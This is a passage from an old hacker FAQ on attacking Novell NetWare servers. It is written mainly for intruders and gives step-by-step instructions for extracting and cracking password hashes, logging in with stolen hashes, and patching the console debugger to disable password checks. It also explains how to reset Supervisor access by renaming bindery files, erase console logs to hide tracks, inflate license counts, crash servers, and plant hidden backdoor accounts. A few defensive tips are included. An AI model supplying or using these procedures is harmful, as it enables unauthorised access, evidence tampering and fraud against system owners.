Using JCMD.NLM, it is possible to access SYS:_NETWARE, and do many fun
things, like copy NDS, etc. But what hackers have asked for is a way
to access this directory WITHOUT uploading an NLM via RCONSOLE. You
can try using NETBASIC.NLM (see the Netware Console Attacks section
for details), and actually copy NDS files to a directory you can
access (like SYS:PUBLIC).
1177..22.. WWhhaatt''ss tthhee ffuullll ssttoorryy wwiitthh NNeettwwaarree ppaasssswwoorrddss??
A Novell proprietary algorithm takes the password, and produces a 16
byte hash. This algorithm is the same for versions 3.x and 4.x of
Netware. The algorithm is also inside the LOGIN.EXE file used by the
client when logging in. The details of the algorithm itself can be
found in the CRYPT.TXT file included with Pandora (see
http://www.nmrc.org/pandora/index.html
<http://www.nmrc.org/pandora/index.html> for details).
The 16 byte hash is stored within the bindery files in Netware 3.x and
NDS in Netware 4.x. Since the object ID is used in the algorithm, it
adds the equivalent of a ``salt''. This along with the fact that the
password length plays into the algorithm increases the overhead in
cracking multiple passwords at once. Fortunately for the cracker,
both the object ID and the password length are stored with the hash,
along with that fact that lower case letters are converted to upper
case before generating the hash does simplify the process slightly.
Password crackers can brute force a little easier since they can
eliminate trying lower case letters and concentrate on a particular
password length.
1177..33.. HHooww ddooeess ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh NNeettwwaarree??
Because of the complexity of the algorithm, using it the way it was
designed is somewhat slow for cracking, especially by brute force.
However the algorithm can be mathematically improved, and in fact WAS
improved and optimized just for cracking purposes. See Jitsu-Disk's
document CRYPT.TXT <http://www.nmrc.org/pandora/CRYPT.TXT> that was
included with Pandora <http://www.nmrc.org/pandora/index.html> that
details this. The algorithm is dozens of times faster than Novell's
original code. However brute force is slow work with Netware, so only
use it as a last resort, especially if you have a LOT of time.
This is especially true with regards to the brute force crackers that
attack from the client. Since you are dealing with the network itself,
expect AT BEST about a password attempt a second from most network
cracking utilities.
1177..44.. HHooww ddooeess ppaasssswwoorrdd ccrraacckkiinngg wwoorrkk wwiitthh NNeettwwaarree??
With Pandora v3.0 you have the fastest dictionary cracking available.
And if you must attack from a client, make sure if you are using a
cracker that you are using dictionary attacking.
For Netware 3.x systems, consider using Al Grant's Bindery tool.
1177..55.. CCaann aann SSyyss AAddmmiinn pprreevveenntt//ssttoopp NNeettwwaarree ppaasssswwoorrdd hhaasshh eexxttrraaccttiioonn??
The best way for a Sys Admin to prevent Netware password hash
extraction is to at least try the following:
+o Protect the server console. If the console is compromised, all bets
are off. Don't use RCONSOLE at all. Go to the console to do any
administrator-type work.
+o Protect administrative accounts. If one of these accounts are
compromised, once again all bets are off. Use these accounts
minimally from secured workstations.
+o Clean up after yourself. If you run a BINDFIX, DSMAINT, or
DSREPAIR, remember that you are leaving files out there that
passwords can be recovered from. Do your business, confirm you
don't have to fall back using one of these leftover files and then
delete and purge them.
You see, once the server has been compromised, sometimes not even
completely, there will be NOTHING to stop unwanted password recovery.
Hackers, just do the opposite of the above items and you'll be fine
;-)
1177..66.. CCaann II rreesseett aann NNDDSS ppaasssswwoorrdd wwiitthh jjuusstt lliimmiitteedd rriigghhttss??
There is a freeware utility called N4PASS, that is meant for Netware
4.10 (uses NDS calls and is not bindery based). The intention of this
package is to enable a Help Desk to reset passwords for users without
granting them tons of rights. It uses full logging and does not
require massive ACL manipulation to do it.
Obviously being set up to use this utility opens a few doors. The
filename is N4PA12.EXE, and can be retrieved from the author's web
site at http://fastlane.net/homepages/dcollins and the author can be
reached at dcollins@fastlane.net.
A couple of interesting things about this utility -- if configured
incorrectly the server may be compromised in a number of ways. For
instance, the password generated is a calculation that uses a 'temp
filename', the date, the user's loginname, helpdesk login name, seed
value, and a few other items. (its in the n4pass.txt file)
N4PASS is not set to purge immediately, the file is salvagable. Also,
if the rights to the N4PASS directory are too open, you can discover
the default password, among other things. The text file included with
the utility covers this, so read it carefully if you are installing
it. If you are hacking, read it carefully too ;-)
It is critical that access to the sys:\n4pass\password is secure since
any 'temp file' (.1st extension) can cause the 'password reset' for
the person listed in the 'temp file'.
1177..77.. WWhhaatt iiss OOSS22NNTT..NNLLMM??
OS2NT.NLM is a Novell-supplied NLM for recovering/fixing Admin, like
after it becomes an Unknown object, as opposed to User -- especially
after a DSREPAIR. This module is considered a "last resort" NLM and
you must contact Novell to use it. While I haven't seen it, it is
supposed to be on one of Novell's FTP sites. It supposedly is
customized by Novell to work with your serial number and is a one-time
use NLM. You have to prove to Novell who you are and that your copy of
Netware is registered.
I would suspected it is possible that this NLM could be hacked to get
around the one-time use and serial number/password thing, but a
restore of NDS from a good backup would accomplish things better. This
way is a little destructive.
1177..88.. HHooww ddooeess ppaasssswwoorrdd eennccrryyppttiioonn wwoorrkk??
From itsme -
the password encryption works as follows:
1- the workstation requests a session key from the server
(NCP-17-17)
2- the server sends a unique 8 byte key to the workstation
3- the workstation encrypts the password with the userid,
- this 16 byte value is what is stored in the bindery on the server
4- the WS then encrypts this 16 byte value with the 8 byte session key
resulting in 8 bytes, which it sends to the server
(NCP-17-18 = login), (NCP-17-4a = verify pw) (NCP-17-4b = change pw)
5- the server performs the same encryption, and compares its own result
with that sent by the WS
-> the information contained in the net$*.old files which can be found
in the system directory after bindfix was run, is enough to login
to the server as any object. just skip step 3
1177..99.. CCaann II llooggiinn wwiitthhoouutt aa ppaasssswwoorrdd??
If you have acquired the one-way hash from Bindery or NDS files, you
have enough info to login without password, as stated by Itsme in the
previous section. Pandora v3.0 includes tools for accomplishing this
-- see http://www.nmrc.org/pandora/index.html
<http://www.nmrc.org/pandora/index.html> for details.
1177..1100.. WWhhaatt''ss wwiitthh WWiinnddoowwss 9955 aanndd NNeettwwaarree ppaasssswwoorrddss??
Windows 95 has its own password file, and uses this file to store
passwords to Windows 95 itself as well as Netware and NT servers. The
problem here is that the PWL file is easily cracked by brute force, by
using exploit code readily available on the Internet. To keep this
from happening either Service Pack 1 should be applied (see Microsoft)
or disable password caching.
But you can still access the WIN386.SWP file. Either using a disk
utility like DiskEdit from Norton or by booting from DOS, you can
access the swap file and scan it for the password in plaintext. Look
for a string like nwcs and the password will follow that.
1188.. NNeettwwaarree CCoonnssoollee AAttttaacckkss
This section deals with attacking at the Netware Console.
1188..11.. WWhhaatt''ss tthhee ""sseeccrreett"" wwaayy ttoo ggeett SSuuppee aacccceessss NNoovveellll oonnccee ttaauugghhtt
CCNNEE''ss??
Before I start this section, let me recommend another solution, my
God, ANY other solution is better than this! If you are running 3.x,
jump to the end of this section.
The secret method is the method of using a DOS-based sector editor to
edit the entry in the FAT, and reset the bindery to default upon
server reboot. This gives you Supervisor and Guest with no passwords.
The method was taught in case you lost Supervisor on a Netware 2.15
server and you had no supe equivalent accounts created. It also saves
the server from a wipe and reboot in case the Supervisor account is
corrupt, deleted, or trashed.
While you get a variety of answers from Novell about this technique,
from it doesn't work to it is technically impossible, truth be it it
can be done. Here are the steps, as quoted from
comp.os.netware.security, with my comments in [brackets]:
[start of quote] A Netware Server is supposed to be a very safe place
to keep your files. Only people with the right password will have
access to the data stored there. The Supervisor (or Admin) user's
password is usually the most well kept secret in the company, since
anyone that has that code could simply log to the server and do
anything he/she wants.
But what happens if this password is lost and there's no user that is
security-equivalent to the supervisor? [Use SETPWD.NLM, instead of
this process, see section 02-5 - S.N.] What happens if the password
system is somehow damaged and no one can log to the network? According
to the manual, there's simply no way out. You would have to reinstall
the server and try to find your most recent backup.
Fortunately, there is a very interesting way to gain complete access
to a Netware server without knowing the Supervisor's (or Admin's)
password. You may imagine that you would have to learn complex
decryption techniques or even type in a long C program, but that's not
the case. The trick is so simple and generic that it will work the
same way for Netware 2.x, 3.x and 4.x.
The idea is to fool Netware to think that you have just installed the
server and that no security system has been estabilished yet. Just
after a Netware 2.x or 3.x server is installed, the Supervisor's
password is null and you can log in with no restriction. Netware 4.x
works slightly differently, but it also allows anyone to log in after
the initial installation, since the installer is asked to enter a
password for the Admin user.
But how can you make the server think it has just been installed
without actually reinstalling the server and losing all data on the
disk? Simple. You just delete the files that contain the security
system. In Netware 2.x, all security information is stored in two
files (NET$BIND.SYS and NET$BVAL.SYS). Netware 3.x stores that
information in three files (NET$OBJ.SYS, NET$VAL.SYS and
NET$PROP.SYS). The all new Netware 4.x system stores all login names
and passwords in five different files (PARTITIO.NDS, BLOCK.NDS,
ENTRY.NDS, VALUE.NDS and UNINSTAL.NDS [This last file may not be
there, don't worry - S.N.]).
One last question remains. How can we delete these files if we don't
have access to the network, anyway? The answer is, again, simple.
Altough the people from Novell did a very good job encrypting
passwords, they let all directory information easy to find and change
if you can access the server's disk directly, using common utilities
like Norton's Disk Edit. Using this utility as an example, I'll give a
step-by-step procedure to make these files vanish. All you need is a
bootable DOS disk, Norton Utilities' Emergency Disk containing the
DiskEdit program and some time near the server.
1. Boot the server and go to the DOS prompt. To do this, just let the
network boot normally and then use the DOWN and EXIT commands. This
procedure does not work on old Netware 2.x servers and in some
installations where DOS has been removed from memory. In those cases,
you'll have to use a DOS bootable disk.
2. Run Norton's DiskEdit utility from drive A:
3. Select "Tools" in the main menu and then select "Configuration". At
the configuration window, uncheck the "Read-Only" checkbox. And be
very careful with everything you type after this point.
4. Select "Object" and then "Drive". At the window, select the C:
drive and make sure you check the button "physical drive". After that,
you'll be looking at your physical disk and you be able to see (and
change) everything on it.
5. Select "Tools" and then "Find". Here, you'll enter the name of the
file you are trying to find. Use "NET$BIND" for Netware 2,
"NET$PROP.SYS" for Netware 3 and "PARTITIO.NDS" for Netware 4. It is
possible that you find these strings in a place that is not the
Netware directory. If the file names are not all near each other and
proportionaly separated by some unreadable codes (at least 32 bytes
between them), then you it's not the place we are looking for. In that
case, you'll have to keep searching by selecting "Tools" and then
"Find again". [In Netware 3.x, you can change all occurences of the
bindery files and it should still work okay, I've done it before. -
S.N.]
6. You found the directory and you are ready to change it. Instead of
deleting the files, you'll be renaming them. This will avoid problems
with the directory structure (like lost FAT chains). Just type "OLD"
over the existing "SYS" or "NDS" extension. Be extremely careful and
don't change anything else.
7. Select "Tools" and then "Find again". Since Netware store the
directory information in two different places, you have to find the
other copy and change it the same way. This will again prevent
directory structure problems.
8. Exit Norton Disk Edit and boot the server again. If you're running
Netware 2 or 3, your server would be already accessible. Just go to
any station and log in as user Supervisor. No password will be asked.
If you're running Netware 4, there is one last step.
9. Load Netware 4 install utility (just type LOAD INSTALL at the
console prompt) and select the options to install the Directory
Services. You be prompted for the Admin password while doing this.
After that, you may go to any station and log in as user Admin, using
the password that you have selected.
What I did with Norton's Disk Edit could be done with any disk editing
utility with a "Search" feature. This trick has helped me save many
network supervisors in the last years. I would just like to remind you
that no one should break into a netware server unless authorized to do
it by the company that owns the server. But you problably know that
already. [end of quote]
I actually had this typed up but kept changing it, so I stole this
quote from the newsgroup to save me retyping ;-)
Now the quicky for 3.x users. Use LASTHOPE.NLM, which renames the
bindery and downs the server. Reboot and you have Supe and Guest, no
password.
1188..22.. HHooww ddoo II uussee SSEETTPPWWDD..NNLLMM??
You can load SETPWD at the console or via RCONSOLE. If you use
RCONSOLE, use the Transfer Files To Server option and put the file in
SYS:SYSTEM.
For 3.x: LOAD [path if not in SYS:SYSTEM]SETPWD [username]
[newpassword]
For 4.x: set bindery context = [context, e.g. hack.corp.us] LOAD [path
if not in SYS:SYSTEM]SETPWD [username] [newpassword]
In 4.x the change is replicated so you have access to all the other
servers in the tree. And don't forget, you must follow the password
requirements for this to work -- if the account you are changing
normally requires a 6 character password, then you'll need to supply a
6 character password.
1188..33.. II ddoonn''tt hhaavvee SSEETTPPWWDD..NNLLMM oorr aa ddiisskk eeddiittoorr.. HHooww ccaann II ggeett SSuuppee
aacccceessss??
If you have two volumes or some unallocated disk space you can use
this hack to get Supe. Of course you need physical access but it
works. I got this from a post in comp.os.security.netware
- Dismount all volumes
- Rename SYS: to SYSOLD:
- Rename VOL1: (or what ever) to SYS: or create new SYS: on new disk
- Reboot server
- Mount SYS: and SYSOLD:
- Attach to server as Supervisor (Note: login not available)
- Rename SYSOLD:SYSTEM\NET$***.SYS to NET$****.OLD
- Dismount volumes
- Rename volume back to correct names
- Reboot server
- Login as Supervisor, no password due to new bindery
- Run BINDREST
- You are currently logged in as Supe, you can create a new user as
Supe equiv and use this new user to reset Supe's password, whatever.
1188..44.. WWhhaatt''ss tthhee ""ddeebbuugg"" wwaayy ttoo ddiissaabbllee ppaasssswwoorrddss??
You must be at the console to do this:
/left-shift//right-shift//alt//esc/ Enters Debugger
type "d VerifyPassword 6" Write down 6 byte response for later use
type "c Verifypassword=B8 0 0 0 0 C3" Sets system to turn off pword checks
type "g" To make the system change and drop you back into the console
to turn password checking back on...
/left-shift//right-shift//alt//esc/ Enters Debugger
type "c VerifyPassword= xx xx xx xx xx xx" Where xx's are the previous
recorded numbers that where written down.
type "g" To make system changes and drop you back to into the console
Teiwaz updated these steps to make things easier and workable. And one
other note -- this will NOT disable password checking in 4.x.
Sorry....
1188..55.. HHooww ddoo II ddeeffeeaatt ccoonnssoollee llooggggiinngg??
Here you need console and Supervisor access. The site is running 3.11
or higher and running the CONLOG.NLM. Any site running this is
trapping all console messages to a file. If you run SETPWD at the
console, the response by SETPWD is written to a log file. Here's the
steps for determining if it is running and what to do to defeat it:
+o Type MODULES at the console. Look for the CONLOG.NLM. If it's
there, it's running.
+o Look on the server in SYS:ETC for a file called CONSOLE.LOG. This
is a plain text file that you can type out. However you cannot
delete or edit it while CONLOG is running.
+o Unload CONLOG at the console.
+o Delete, or even better yet, edit the CONSOLE.LOG file, erasing your
tracks.
+o Reload CONLOG. It will show that is has been restarted in the log.
+o Check the CONSOLE.LOG file to ensure the owner has not changed.
+o Run PURGE in the SYS:ETC directory to purge old versions of
CONSOLE.LOG that your editor have left to be salvaged.
1188..66.. CCaann II sseett tthhee RRCCOONNSSOOLLEE ppaasssswwoorrdd ttoo wwoorrkk ffoorr jjuusstt SSuuppeerrvviissoorr??
Yes and no. In version 3.x, the Supe password always works.
A common mistake regarding 3.x RCONSOLE passwords is to use a switch
to use only the Supervisor password. It works like this:
LOAD REMOTE /P=
instead of
LOAD REMOTE RCONPASSWORD
The admin believes /P= turns off everything except the Supe password
for RCONSOLE. In fact the password is just set to /P= which will get
you in! The second most common mistake is using -S, and the third is
"".
Version 4.1 is a bit different. Here's how it works:
+o At the console prompt, type LOAD REMOTE SECRET where SECRET is the
Remote Console password.
+o Now type REMOTE ENCRYPT. You will be prompted for a password to
encrypt.
+o This will give you the encrypted version of the password, and give
you the option of writing LDREMOTE.NCF to the SYS:SYSTEM directory,
containing all the entries for loading Remote Console support.
+o You can call LDREMOTE from your AUTOEXEC.NCF, or you can change the
LOAD REMOTE line in the AUTOEXEC.NCF as follows:
LOAD REMOTE SECRET
becomes
LOAD REMOTE -E 870B7E366363
Another note - to ensure that Supervisor's password will work with
RCONSOLE (Netware 4.02 or higher), add the hidden -US switch:
LOAD REMOTE -E 870B7E366363 -US
Another undocumented switch is -NP which is No Password!
1188..77.. HHooww ccaann II ggeett aarroouunndd aa lloocckkeedd MMOONNIITTOORR??
There is a simple and easy way to do this in 3.11 if you have a print
server running on the file server. The following exploits a bug in
3.11:
+o Use pconsole to down the print server. This causes the monitor
screen to go to the print server screen and wait for you to press
enter to exit the screen. At the same time it puts the monitor
screen in the background.
+o Switch to the console screen and type UNLOAD MONITOR.
+o Check the AUTOEXEC.NCF for the PSERVER.NLM load line and manually
reload the PSERVER.NLM.
For both Netware 3.x and 4.x, try the debug disable steps as outlined
earlier. You can type any password in to unlock the console, besides
disabling 3.x password protection altogether.
For Netware 4.x, try this from the console:
Enter the debugger and type in "g VerifyPassword".
Then hit enter to break back to the debugger.
That should return you to the console.
Then type in "g [desp]" and hit enter.
Wait a few seconds and you're back in the debugger.
Type in "eax=0" and hit enter, and then type "g" and enter.
The console is now unlocked.
1188..88.. WWhheerree aarree tthhee LLooggiinn SSccrriippttss ssttoorreedd iinn NNeettwwaarree 44..xx aanndd ccaann II
eeddiitt tthheemm??
The Login Scripts are stored in, you guessed it, SYS:_NETWARE. Unlike
the binary files used in NDS, these files are completely editable by
using EDIT.NLM. Doing an RCONSOLE directory scan in SYS:_NETWARE will
turn up files with extensions like .000, these are probably Login
Scripts. Pull up a few, they are plain text files. For example, you
found 00021440.000:
LOAD EDIT SYS:_NETWARE\00021440.000
If it is a Login Script, you will see it in plain english and you can
certainly edit and save it. This completely bypasses NDS security, and
is the main weakness. You can use this to grant a user extra rights
that can lead to a number of compromises, including full access to the
file system of any server in the tree.
1188..99.. WWhhaatt iiff II ccaann''tt sseeee SSYYSS::__NNEETTWWAARREE??
Starting with Novell's 410pt3 patch you can no longer see the _NETWARE
from RCONSOLE. This is hardly surprising as the ability to look into
this directory has become increasingly difficult with each release of
patches.
With Netware 4.11 you can't see it at all with RCONSOLE. Although with
patch level IWSP5 one is able to see SYS:_NETWARE from RCONSOLE's
"Directory Scan" function.
1188..1100.. SSoo hhooww ddoo II aacccceessss SSYYSS::__NNEETTWWAARREE??
Using JCMD.NLM (see the Resources section), it is possible to access
SYS:_NETWARE, and do many fun things, like copy NDS, etc. But what
hackers have asked for is a way to access this directory WITHOUT
uploading an NLM via RCONSOLE. So here it is.
Starting with the Green River beta software, Novell licensed
NETBASIC.NLM (actually, everything in the SYS:NETBASIC directory) from
HiTecSoft, Inc. HiTecSoft is really cool -- it allows some
sophisticated apps to be developed with a Visual-Basic-type
environment, including NLMs without using Watcom's compiler and
linker.
When you load up NETBASIC.NLM, you type "shell" and you get a DOS-
styled shell. It is actually still an NLM, but the "commands" include
DOS-like commands like cd, dir, copy, etc. So the trick is to simply
"cd _NETWARE" and bingo -- you're in. At this point you can do all
kinds of fun things. Remember, you can still use JCMD.NLM, but the
point is that this is kind of "built in". Fun things to do include -
- Make copies of any of the files, including the license(s), NDS, login
scripts, auditing files, etc.
- Copy these files to SYS:LOGIN and you can copy them off the server
WITHOUT logging in.
- Copy off the license file (MLS.000) and play around with a hex editor.
Copy up the modified file and name it MLS.001 and you've doubled your
license count (bear in mind this is illegal).
- Modify login scripts for fun, profit, and gaining extra rights.
- Poke around with auditing files, even delete NET$AUDT.CAF and files
with an extension of .$AF in case your auditor forgot their password.
Thanks to the members of SIC (Hardware, Cyberius, and Jungman) for
discovering the NETBASIC hole, and pointing out all of the license
info.
1188..1111.. HHooww ccaann II bboooott mmyy sseerrvveerr wwiitthhoouutt rruunnnniinngg
SSTTAARRTTUUPP..NNCCFF//AAUUTTOOEEXXEECC..NNCCFF??
For Netware 3.xx, use these command-line options:
SERVER -NS to skip STARTUP.NCF, and
SERVER -NA to skip AUTOEXEC.NCF
NetWare 2.x does not HAVE the files STARTUP.NCF and AUTOEXEC.NCF.
Instead they hard-code all the information into NET$OS.EXE, so you
will have to rebuild it to change anything.
1188..1122.. WWhhaatt eellssee ccaann bbee ddoonnee wwiitthh ccoonnssoollee aacccceessss??
If a user in any context of a tree has Supervisor rights to a single
server, anyone with console access to that server can gain Admin Admin
rights. Remote servers in remote offices are likely candidates for
this. Here's how to do this:
+o Attacker sets Bindery Context to match the user ID with Supervisor
rights to the server.
+o Attacker sets a Bindery Context to match another user with greater
priviledges, such as Admin.
+o Attacker resets password of the user ID with Supe rights to the
server(unless the Attacker happens to BE the user with the Supe
rights, say if the attacker is a temp contractor managing tape
backups).
+o Attacker forces a bindery login to the server.
+o Attacker uses SYSCON to either change the password of another
user's account with the extra priviladges or makes himself security
equiv to a tree.
+o Attacker logs out and back in via regular NDS.
To defeat this, a sys admin needs to make sure there are no replicas
with sensative accounts on remote servers.
1199.. NNeettwwaarree CClliieenntt AAttttaacckkss
This section deals with attacking Netware remotely.
1199..11.. WWhhaatt iiss tthhee cchheeeessyy wwaayy ttoo ggeett SSuuppeerrvviissoorr aacccceessss??
The cheesy way is the way that will get you in, but it will be obvious
to the server's admin that the server has been compromised. This
technique works for 3.11.
Using NW-HACK.EXE, if the Supervisor is logged in NW-HACK does the
following things. 1) The Supervisor password is changed to
SUPER_HACKER, 2) every account on the server is made a supe
equivalent, and 3) the sys admin is going to know very quickly
something is wrong. What the admin will do is remove the supe rights
from all accounts that are not supposed to have it and change the
Supervisor password back. The only thing you can do is leave a
backdoor for yourself (see the ``Backdoor'' section).
1199..22.. HHooww ccaann II llooggiinn wwiitthhoouutt rruunnnniinngg tthhee SSyysstteemm LLooggiinn SSccrriipptt iinn NNeett--
wwaarree 33..xx??
Often an admin will try and prevent a user from getting to DOS or
breaking out of the System Login Script to "control" the user. Here's
to way to prevent that -
+o Use ATTACH instead of LOGIN to connect to a server. ATTACH will not
run the login script, whereas LOGIN will. ATTACH.EXE will either
have to be copied to a local HD or put in SYS:LOGIN.
+o Use the /s option for LOGIN. Using "LOGIN /S NUL " will cause LOGIN
to load the DOS device NUL which will always seem like an empty
file.
1199..33.. HHooww ccaann II ggeett IIPP iinnffoo ffrroomm aa NNeettwwaarree sseerrvveerr rreemmootteellyy??
There is an undocumented API call that can be done, assuming you have
the Netware SDK. Search through support.novell.com for a document
called "Retrieving IP Interface Information". This info allows you to
retrieve IP info on a Netware server. The document details exactly how
to make the call.
1199..44.. DDooeess 44..xx ssttoorree tthhee LLOOGGIINN ppaasssswwoorrdd ttoo aa tteemmppoorraarryy ffiillee??
Yes and no. No to 4.02 or higher. Here's the scoop on 4.0.
The version of LOGIN.EXE that shipped with 4.0 had a flaw that under
the right conditions the account and password could be written to a
swap file created by LOGIN.EXE. Once this occured, the file could be
unerased and the account and password retrieved in plain text.
1199..55.. EEvveerryyoonnee ccaann mmaakkee tthheemmsseellvveess eeqquuiivvaalleenntt ttoo aannyyoonnee iinncclluuddiinngg
AAddmmiinn.. HHooww??
A couple of things might cause this. One, I'd check the rights for
[PUBLIC], and secondly I'd check the USER_TEMPLATE id for excessive
rights. The Write right to the ACL will allow you to do some
interesting things, including making yourself Admin equivalent. For
gaining equivalence to most anything else you need only Read and
Compare.
The implication should be obvious, but I'll spell it out anyway. A
backdoor can be made if an account is set up this way. Let's say
you've created an account called TEST that has enough rights to do
this kind of thing. Simply go in as the TEST account, make yourself
Admin equivalent, do your thing, remove the Admin equivalent, and get
the hell out. Neat and sweet.
1199..66.. CCaann WWiinnddoowwss 9955 bbyyppaassss NNeettWWaarree uusseerr sseeccuurriittyy??
I am unsure as to the conditions (if anyone knows, please forward me
the info) but if your .PWL file is around 900 bytes versus 600 bytes,
your workstation will log in without prompting you for a password.
This bug was working as of December 1995, and I would think at this
point patched via the latest service pack.
Two ways this can be abused -- on some systems generating the longer
file you can simply make sure you generate a .PWL file with the target
account name and reboot using that .PWL file.
The other way is to simply collect the .PWL file from an unattended
workstation and boot using it.
1199..77.. WWhhaatt iiss PPaacckkeett SSiiggnnaattuurree aanndd hhooww ddoo II ggeett aarroouunndd iitt??
Packet signatures works by using an intermediate step during the
encrypted password login call, to calculate a 64-bit signature. This
block is never transmitted over the wire, but it is used as the basis
for a cryptographically strong signature ("secure hash") on the most
important part of each NCP packet exchange.
A signed packet can indeed be taken as proof sufficient that the
packet came from the claimed PC.
NCP Packet Signature is Novell's answer to the work of the folks in
the Netherlands in hacking Netware. The idea behind it is to prevent
forged packets and unauthorized Supervisor access. It is an add-on
option in 3.11, but a part of the system with 3.12 and 4.x. Here are
the signature levels at the client and server:
Packet Signature Option and meaning: 0 = Don't do packet signatures 1
= Do packet signatures if required 2 = Do packet signatures if you can
but don't if the other end doesn't support them 3 = Require packet
signatures
You can set the same settings at the workstation. The default for
packet signatures is 1 at the server and client. If you wish to use a
tool like HACK.EXE, try setting the signature level at 0 on the client
by adding Signature Level=0 in the client's NET.CFG. If packet
signatures are required at the server you won't even get logged in,
but if you get logged in, hack away.
If you wish to change the signature level at the server, use a set
command at the server console:
SET NCP PACKET SIGNATURE OPTION=2
As noted, the packet signature scheme only signs the important parts
of NCP packets. Some NCP packets, including "fragmented" NCP packets,
are not signed, and in some cases packet signature fucntions
differently depending on the settings on the client. Also on Netware
4.x, a server attachs as an object in the connection list, and the
packet signature on this does not work properly even if the server is
set to Option 3. Details regarding these flaws can be found in a white
paper by NMRC members Jitsu-Disk and Simple Nomad at
http://www.nmrc.org/pandora/DOCS/NCP.TXT
<http://www.nmrc.org/pandora/DOCS/NCP.TXT>, and exploit code was
released with Pandora v3.0 available from
http://www.nmrc.org/pandora/download.html
<http://www.nmrc.org/pandora/download.html>.
2200.. NNeettwwaarree DDeenniiaall ooff SSeerrvviiccee
This section contains info regarding Netware Denial of Service.
2200..11.. HHooww ccaann II aabbeenndd aa NNeettwwaarree sseerrvveerr??
These are per itsme:
+o Netware 4.1 : type 512 chars on the console + NENTER = abend
+o Netware 3.11 : NCP request 0x17-subfn 0xeb with a connection number
higher than the maximum allowed will crash the server (yes you will
need the APIs)
If you have console access, try this:
+o At the server console type UNLOAD RENDIRFIX
+o Use your local copy of SYS:PUBLIC/RENDIR.EXE
+o In SYS:LOGIN type RENDIR (login not required, just attaching to
the server)
Another thing to try, with console access, is LOAD RARPSERV.NLM
quickly followed by UNLOAD RARPSERV.NLM which will abend a Netware
4.11 server (tested with Service Pack 4 loaded). If RESTART AFTER
ABEND is set (which is the default) the server will reboot. Using
UNICON to UNLOAD RARPSERV.NLM and it should unload cleanly.
There are several flaws regarding NCP that can allow for interesting
Denial of Service that will crash a server. One utility, Havoc, was
released with Pandora <http://www.nmrc.org/pandora/index.html>, and a
couple more (Burn and Yang) are available at
http://www.nmrc.org/files/netware/
<http://www.nmrc.org/files/netware/>.
2200..22.. WWiillll WWiinnddoowwss 9955 ccaauussee sseerrvveerr pprroobblleemmss ffoorr NNeettwwaarree??
By default Windows 95 shipped with long file names (LFN) and Packet
Burst enabled, which created a unique problem -- if the server didn't
have long name space loaded (OS/2 name space) it caused problems with
files and occassionally crashed the server. But the worse one was
Packet Burst. Unless you had at least a 3.11 server with the
PBURST.NLM up and running, along with drivers for the server's network
capable of handling Packet Burst, the buffer space used for network
connections and/or the buffer space on the network card created
problems ranging from lockups to timeouts to abends.
There were a couple of different fixes you could do, like updating the
server for long name space and Packet Burst (sorry Netware 2.x users),
or you could update the clients' SYSTEM.INI file with the following
entries:
[nwredir] SupportBurst=0 SupportLFN=0
Alternately, a frame type (802.3) that doesn't support Packet Burst
could be used, and you could enforce no LFNs via system policies.
2200..33.. WWiillll WWiinnddoowwss 9955 ccaauussee nneettwwoorrkk pprroobblleemmss ffoorr NNeettwwaarree??
If File & Print Sharing for Netware is configured and you have non-
Windows 95 users, there could be serious network problems. How does
this happen? Here is a very simplified explanation -
The way Netware advertises its file and print services is via
Netware's proprietary (but widely documented) Service Advertising
Protocol (SAP). How to get to these resources is communicated via
Routing Information Protocol (RIP) packets. Both SAP and RIP info are
transmitted broadcast style. Netware servers and even intelligent
networking equipment that conform to the SAP and RIP protocol scheme
(like routers) share this info dynamically between each other.
The problem is when Windows 95 is set up with File & Print Sharing for
Netware, because the Windows 95 workstation does a lousy job of
implementing and interacting with the SAP and RIP info. As any LAN/WAN
specialist will tell you, extra SAPs can quickly waste bandwidth,
causing timeouts and broadcast storms. And that is exactly what
Windows 95 does. Netware 3.x and 4.x have released patches, but the
easiest thing to do is simply NOT use File & Print Sharing under
Windows 95 -- use Netware's file and print services like they're
supposed to be used, or use Client/FPS for Microsoft networks instead.
Can hackers take advantage of this? Here's the theory how:
+o Turn on File & Print Sharing for Netware in Windows 95.
+o On an SLIST the Windows 95 workstation will show up.
+o In a Netware 3.x and 4.x environment, there is an internal network
number and an external number. Windows 95 will only show an
external number, and since these numbers help determine how many
hops away the service is, not having an internal one means
(depending on your network layout) your Windows 95 workstation is
one hop closer.
+o When a regular user boots up, the user needs to get to the nearest
server to find his prefered server's location from the nearest
server's SAP and RIP tables. Routers typically will simply pass on
the name and address of the closest server attached to it. This
with the hop counts will lead to a lot of attachments to the
Winodws 95 server. Therfore even a PREFERED SERVER variable in the
NET.CFG would not help.
+o To keep clients from timing out with an error, Microsoft passes the
user onto the prefered server IF the Windows 95 server is set up
with the same name.
+o In theory could create a \LOGIN directory and run your own
LOGIN.EXE that grabbed the password and then send the client onto
it's real server.
What could prevent this? Well, in a WAN environment a router could be
configured to only allow SAPs to come from certain segments, or every
one of the workstations are running Windows 95 (which is probably
Microsoft's solution). And even though I have heard from a dozen
people stating that this could be done, no one has said they've done
it (the alternate LOGIN directory and trojan LOGIN.EXE).
2211.. NNeettwwaarree LLooggggiinngg aanndd BBaacckkddoooorrss
This section contains info regarding logging and backdoors for
Netware.
2211..11.. HHooww ddoo II lleeaavvee aa bbaacckkddoooorr ffoorr NNeettwwaarree??
Once you are in, you want to leave a way back with supe equivalency.
You can use SUPER.EXE, written for the express purpose of allowing the
non-supe user to toggle on and off supe equivalency. If you use the
cheesy way in (previous question), you turn on the toggle before the
admin removes your supe equivalency. If you gain access to a supe
equivalent account, give Guest supe equivalency and then login as
Guest and toggle it on. Now get back in as the original supe account
and remove the supe equivalency. Now Guest can toggle on supe
equivalency whenever it's convenient.
Of course Guest doesn't have to be used, it could be another account,
like an account used for e-mail administration or an e-mail router, a
gateway's account, you get the idea.
Now SUPER.EXE is not completely clean. Running the Security utility or
Bindfix will give away that an account has been altered at the bindery
level, but the only way for an admin to clear the error is to delete
and rebuild the account.
2211..22.. WWhhaatt iiss tthhee rruummoorreedd ""bbaacckkddoooorr"" iinn NNDDSS??
The rumored backdoor in NDS exists - to an extent. The rumor is that
there is a way to set up a backdoor into a system in NDS that is
completely hidden from everyone and everything. There IS a way to get
real close to this, although how "hidden" it is remains to be seen.
One catch - you need full access to NDS i.e. Admin access to set it
up. But if you can get Admin's password or access to a user with Admin
or equivalent access then you can put in a backdoor that may go
unnoticed for months, or perhaps never be discovered. Here's how to
set it up:
+o Get logged in as Admin or equivalent.
+o In NWADMIN highlight an existing container.
+o Create a new container inside this container.
+o Create a user inside this new container. No home directory.
